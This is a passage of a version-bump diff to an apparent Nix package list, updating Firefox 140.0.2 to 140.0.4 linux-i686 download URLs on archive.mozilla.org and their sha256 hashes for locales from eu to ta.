+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/eu/firefox-140.0.4.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "784f3266156a739535e7a3c8734e700aa92f70c7dd620542598a47568f58941f";
+      sha256 = "bef2d01f49e73a81f0a59afcd3ac8709eb9918acf79fb47f7cdac6b09c4a1c3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fa/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fa/firefox-140.0.4.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "02fb858bc7a2af197c80e01df0e182aef127d1d31eddd149d58eedc9e6e3b8a2";
+      sha256 = "bd1d3f8bcb2ba008f76c449a3661f42f45559faf047e1339143926e972b6cd21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ff/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ff/firefox-140.0.4.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "a260206f7e5330505204b328636152eb6becfcc5905298af859ca00c571f8f69";
+      sha256 = "5c3907a334848afbae90d52b643413dc9692ed76b60225ec71524867b40eae0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fi/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fi/firefox-140.0.4.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "be27347a1082f2769ffff328e968711649e42dd1ebb5046b7a548da204d45d06";
+      sha256 = "db125233d28993a07aba3b3920e99417d7bb1348c179cc2c9c20285aae72f1a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fr/firefox-140.0.4.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "6a5c02ae5cbb1c4e8480ccd0654579ee4db322944a025f81c8bea85e7a1eb4a4";
+      sha256 = "cd75264af4230341e12cfd29c4561fb0c5b2871f63d2c6ba13dfbb8107e549e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fur/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fur/firefox-140.0.4.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "5ff8b09c2887e89ac62cd2a9363f77e72605622937a0914fe969fe9187ca02c5";
+      sha256 = "b8404633354613834a6d088b7f9ab77936c1535b7c30f87f8145e3f81bafd5dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/fy-NL/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/fy-NL/firefox-140.0.4.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "806cccaada32105c2386eb224d9378f954d32c124ee6217a48e49316a4c359b7";
+      sha256 = "2ff96697538281488c405648f9adbb378cb716a6946923ee616f29f3e647232d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ga-IE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ga-IE/firefox-140.0.4.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "10dfe7240917e4ebed53e7bb820c7c08aeb8bc44aa3245eae8327433bb284edd";
+      sha256 = "767885a0c5e8e409be4918a534e3afba13697e3a97beab0832e9f1f47e26d2e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gd/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gd/firefox-140.0.4.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "3555779acd6c2de51ceadf4d8a51e3f907916739b4c2297bceccc69e2a0dccd4";
+      sha256 = "6d7de73fb8d3dc953d384ef7388b17d3df364fa3127f39ebb319b4fd1a443d11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gl/firefox-140.0.4.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "b29497c0a8f2b323a34724281e50ad16717475cd7e77969232f7385a1857c1e9";
+      sha256 = "90726dd9f6cf47601d11567f194a32f34db308d6ee0a63df97057bf7810c51f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gn/firefox-140.0.4.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "31fe81ed44e00539451fe909b74bce5993c6b2ce40a285acd1f65ace282fb858";
+      sha256 = "a93f279cfe4d256ed9065cbbad5fd619469723a4451a67a4427ccb8cb767af1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/gu-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/gu-IN/firefox-140.0.4.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "f6cfb98f513ef4b0b532dc29c456691ce8c7e149bb423f8b7dddd5c4cefb07e2";
+      sha256 = "591d5fc411d3da52b04ffec9a3a54e3952e512b9fe66527dd4145568145f7a4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/he/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/he/firefox-140.0.4.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "45a11a082020b36dc3abd727de1eff3f2bcd12657cde89e119a0c8d3c7974b58";
+      sha256 = "760e0ab517792425bfcf61c203cae2237dbda07141f468cfe7994ac0acf7802f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hi-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hi-IN/firefox-140.0.4.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "c781f6da36d194f730b61ef33080fea7dd13c82d85a4409c93a812198350b5bb";
+      sha256 = "26aaef2183370bcbc259109030aa2282d670a1fd53cbfb68897650c452417a79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hr/firefox-140.0.4.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "d756e3bca4ce7779e6e116483f711ce94ad069ee2efbda29ec1724bf2b651c5f";
+      sha256 = "85091c7c9c80d1fb4e91129ce00185689c4c768ae7071c61a2350d5b43de4ff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hsb/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hsb/firefox-140.0.4.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "de971db6126097ecdc2d0cb5613afed55e95260f2d3fa308541c863e8c59ef48";
+      sha256 = "00a7c57673ccf6dfd6cf1dc01681c7d75f150c0bd24eb06add8574779bd5099c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hu/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hu/firefox-140.0.4.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "8c5924dd3ef6fc2247399311962fd32ef1ad04b5c430ecb39abe37f17308f566";
+      sha256 = "78575993d3b84d8cebc2205ceef28866fdcc8bd5197df345c410132733b554f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/hy-AM/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/hy-AM/firefox-140.0.4.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "fd33dc0087f60780845a01ce0d8d973c3f8ced50979b636064e490ad5cc775e9";
+      sha256 = "410e925297b0084e9b727f931cc6701cde2e8fed7b824aa5b484c44ca69cefc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ia/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ia/firefox-140.0.4.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "cb04a55dcf48ea791e9c536d43e682778b94a4107b3c51b40d0fc76831c0f62d";
+      sha256 = "5210d60588e6716e837d5910dbdf437cdcfce114281f4c3b040c162bda99d2b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/id/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/id/firefox-140.0.4.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "d2d9ef506a7516edc25f1ea008ef4537ab6f547a28d4cceaf3a13958cba947aa";
+      sha256 = "5730cdf18ca4724f3e198328431d393761efd46041bdabb65185e36dddfc781d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/is/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/is/firefox-140.0.4.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "8a1fe40b6482b61d6b50c5ee6508ec9bf08e530749ba8b9fc9b19155a5bd1eab";
+      sha256 = "19a6a3f928b4fbf9a5febad502227e00c919860a4f434bd2b9ddacaf96062708";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/it/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/it/firefox-140.0.4.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "7e183d66e34ff423e9d98490d48daea925663eb33ce517de5ae9642188169f16";
+      sha256 = "926d389543d9969e7820024ff536faacdeeb0382122300a6611f91d20e13325e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ja/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ja/firefox-140.0.4.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "d9ab0a72a334bda5713afc8f8aec8d40064a120e077fc09c38a0a515d544b353";
+      sha256 = "f6163a71d048e428e4fb0ad48467b53cef0e4f27b7145822e0ed3ca545ce288f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ka/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ka/firefox-140.0.4.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "6c04a099a03131009a4b9e3d495425633043e73419fca54a86b7069c64c288b0";
+      sha256 = "a24df85ab9592ee6d362b67e82707c12c77516021214734157082b33fe47abd1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kab/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kab/firefox-140.0.4.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "8520faecbbd2f59f4c8c1db31a012b9aaad6ed8ef68c680de34e8006ad73f150";
+      sha256 = "42333cd22e35b27212e08a183d464c54797926835314c98afc06ad863846a41f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kk/firefox-140.0.4.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "2c14aa7d161cbbcc1b2e695659643c4516aa9fca487306b1953b7bdad8788c3b";
+      sha256 = "11cef3b82e42ddf4683da915a13da3561c140427bb40343b4192bfd0902f20d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/km/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/km/firefox-140.0.4.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "70162c50f48915b4a565ebd81aa4771e95e9d1bf5f7bbaf9b9a6af1a8f4062de";
+      sha256 = "3606f00c659d1ac9bde60a6311ab0c8c1d7a512219acec6597392f128c16c009";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/kn/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/kn/firefox-140.0.4.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "f3ae4c7500857c1717352acec3957555cc699ffb0853911b9bbe6eb56ca1a35c";
+      sha256 = "0d36b7260b717e6817821759b105fced8c0d3c08ebcefbc04aefc7bf9e49ab2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ko/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ko/firefox-140.0.4.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "c6de5457fb22ab505dc1628c268f140cec6d430629a3d66ef3d180efbe5a52f2";
+      sha256 = "f54e98158ab899e17ae495a9339154c564565fe0c4955b67dca57c5a454083e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lij/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lij/firefox-140.0.4.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "ac00b942457f7a2a92f02a5880e54417aaae071c2c5a18420306e5646b10629a";
+      sha256 = "85411a183548f9dd3210a595fd84e3cb283dc5b4f42b9ab0f09f4c28397b14db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lt/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lt/firefox-140.0.4.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "713e673cc7699aa5106048ef7b8929d1618b257421ed1aea17a45836fa700b07";
+      sha256 = "d11ebfadbc6abb1768e5accd287ae8ec716b36e6f150e85b1d987c558aa6c0b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/lv/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/lv/firefox-140.0.4.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "c762ddb67927f1ca8bff6aac3d4f408a66cdbbd52eadd5337561e89fd797a55f";
+      sha256 = "84fffed5dc9c2e8daee302f1c13365dd7b9a1023d5844fff2fbd4096a192b020";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/mk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/mk/firefox-140.0.4.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "2d15047d1153b71ccf1a5c02bdd2cd00857e84d361300dfcc7f33e57b13a935d";
+      sha256 = "04c0cafa61498b0d6ec291fe3f96cb57e5b7706753d2d67ff569736da636239c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/mr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/mr/firefox-140.0.4.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "45e9333ef4c83983307f06d0dfccccba73d16e6c11507ef2a473e9d334abf335";
+      sha256 = "3f03d5b6dce578611e79991fbb414b7fda11a3ebaccb20115cc3574658332d99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ms/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ms/firefox-140.0.4.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "a24b36363b3b3793c2fa38210794593c65be50db46cde4944903a58be0819781";
+      sha256 = "4d9d5b55c7e39c440aa274f1b1fe7633c7b688ebe6bb49938d70908649de480e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/my/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/my/firefox-140.0.4.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "19169c4c48a7ca2aabbe1454e20c9648596872b52259538ed871079a6fbbe4c0";
+      sha256 = "8bef74e92c76779e82e7fa52179f9e34ddb4b3fd6151ea15113c0704ad498072";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nb-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nb-NO/firefox-140.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "f606376495dd6da948f32ce13a5c6686e59e104ae88e0cc3d361326736b63f2a";
+      sha256 = "88d110b88ef70b57911f546cef221cac830ea2e636c5484dbeb61d885ebedf24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ne-NP/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ne-NP/firefox-140.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "10db0b50c509d650f942a4138536eddcd0d89afd100f8429453f02b9c1c857a4";
+      sha256 = "fb6712cacd82c6f02606dc4905dd23eef2476f7c418e5880f173ff10b5fa59c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nl/firefox-140.0.4.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "498baf0a4a6e857e2ffaf8cc290435565f72aadf9fa16534cfd8b908230c575c";
+      sha256 = "8b90206da1f2b369efc854460d9ab281f965f39def4861c95b9ce760f2c360bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/nn-NO/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/nn-NO/firefox-140.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "e089f5985b66f27e00b118bf993421958bb3201fa8969e7bb3db37192722eb4f";
+      sha256 = "e24a2b5e8c110d05bebdd3abe3ff4195eef879b24a30fb163f2d8871125ee56b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/oc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/oc/firefox-140.0.4.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "8d427058e3773ac866af61624bbe47c468283fa39c60e9868a39f2589e0c641f";
+      sha256 = "0ae9de22a79c531978af028c44f8e10df180bcec26881e8f54a694849a46505a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pa-IN/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pa-IN/firefox-140.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "55ed4c50b9294e10135636104a55694d4688356a8f0dc887028e97c41fc3f269";
+      sha256 = "517a43fa69a74781289432120f437cf376ef7ed048404fd56d5117868afe6d0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pl/firefox-140.0.4.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "0aa99722a3b865fdefa65ed3c07bfba17c818adfa725216491924990d36499c0";
+      sha256 = "acf94affec7f47373fe85cfdd824513f3c3b6fb30179bf3d4fc7715de5691f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pt-BR/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pt-BR/firefox-140.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "d9977eeeb32c29144528d4d9087c169da59e568a64e05812ed9f51ae0ac28d6f";
+      sha256 = "ad4fdc5a791b43f030ad93c2b4cfb4282dbc8f42a19b9d35a212ee8ee98b6074";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/pt-PT/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/pt-PT/firefox-140.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "098568fb1332dab5e2bf689ecec025d60d8310d5c8f62edad6f62c2d36f46bd6";
+      sha256 = "5cdac4fea8472a90f172d45a2d18f4647b93e1f2f8b2ac3c40fca62038644a4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/rm/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/rm/firefox-140.0.4.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "6e8c8c8c010d28a1762adbc19831cb479ef8842d29c8e75510d7594d6e963d95";
+      sha256 = "21241ffb36c656890a3237ef91dd77baff5d43281af40acba3417e8dc4a86214";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ro/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ro/firefox-140.0.4.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "d19ed5da96a3bb2761c0c38c07ea0b3b05f254c3faca359f36afe5a8c600ccfd";
+      sha256 = "c9dac36d52db35856e66499fc5173b98ccfd95be625d4e849877b764cdf80c9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ru/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ru/firefox-140.0.4.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "571fb47a5e0ef4e65105e7ba5cc31ab524bb10a79ab63963eb37cccf5cff406e";
+      sha256 = "ded83911dcf012854599b9f9d31c5f4a91ec58d9ae0253180d6ea6f1d75c1822";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sat/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sat/firefox-140.0.4.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "e3904ff0013252bc53e86915b40610edc4bffebfd62048427036c0aca608cab4";
+      sha256 = "059393952f1f7a02b548f2e449cff48607ffe6e06468b66859705da256735acf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sc/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sc/firefox-140.0.4.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "31de923d0836f7d89ef7ae55e1bdebeba88dfa86b1194cc2a973e5fea8b218bc";
+      sha256 = "5806b3f7a94555921c1c9531246cc4b94ec362843b91391b221d79fe808ad162";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sco/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sco/firefox-140.0.4.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "e933df74a19d15f59a6bd916c1cfc9b0fa223be3a6a18265158ba8c237b7346e";
+      sha256 = "d327e522393d3620051068217c194f45f5ed5f5940f5d1cdaaea7f2600015ecb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/si/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/si/firefox-140.0.4.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "1b6784ebcc66b1d95117aca4ceb532c7ac26497908911fd3a6f6e78093ca9041";
+      sha256 = "8815c0a8fba1b3d877f4ed563ee6b197ceac5eeb726acdb0d78a32dac7266ab1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sk/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sk/firefox-140.0.4.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "1c131a544b091194c9a77cb3c974ecee03c04f6036b059ba47f960b77d2a05c2";
+      sha256 = "f177a066c7844baee30c7a36c409b32806f183006e2a31fa3ba004ab62fcfdc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/skr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/skr/firefox-140.0.4.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "eb9f5fe584ce1a75897d81273412c9b7473a23588ffc42a0688fbab314a9662b";
+      sha256 = "cc6acfdd37ce3a9879dcf5ee9d5f38c429eaf249c4f7176c02380d71d0801791";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sl/firefox-140.0.4.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "9d8bef2230d7b8d2eb352688ddb20cdf7017a824ae2e8d85ea28966a816025ef";
+      sha256 = "ba3d208c9c962823357250878e2f0009e3f58f4d1b30b2899ee2082a7a5ed3d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/son/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/son/firefox-140.0.4.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "6cac761c33d9ed8be1d9bcdcd2ba1bc93933349cf562b8e315365ed28910e346";
+      sha256 = "7bc3d7fad830deecb63ebb36fbc0d840370e4cb8c745912f7c6137a009754e5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sq/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sq/firefox-140.0.4.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "6ac69e3de447f6165b3a2e0f1cc613efec5f00e0fc894217b133cb15806d92f8";
+      sha256 = "27bbf9aa13ef2165309ec386115d79451db291ea8a248d8f8680092fbcbd1a8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sr/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sr/firefox-140.0.4.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "457d061ceaa31c2705a1e909f656692fe64de9766fdbdaa364dd3379b4557cfa";
+      sha256 = "f90cfb58f79ae2550f847eb904861e5f7c86c2a6e098ea5f1454dc3e1f5a5306";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/sv-SE/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/sv-SE/firefox-140.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "7702db8cb5fb0896fc8a472174cfc6d661e13d732ca1090feaa3a5ae27aac214";
+      sha256 = "6d6e809c8883a51082fe1a3e6dfc2903904377c51bd103cfada00935c905daba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/szl/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/szl/firefox-140.0.4.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "0cfc51cdbd12c31ee3c7b0fc2be864b5f087434e8840d5a6f0e77bb036e5194a";
+      sha256 = "29192ac2b94d1d96020ece1c6fc8b33e65eec9c2cdf7b438f0e5b7df0b851e09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-i686/ta/firefox-140.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-i686/ta/firefox-140.0.4.tar.xz";
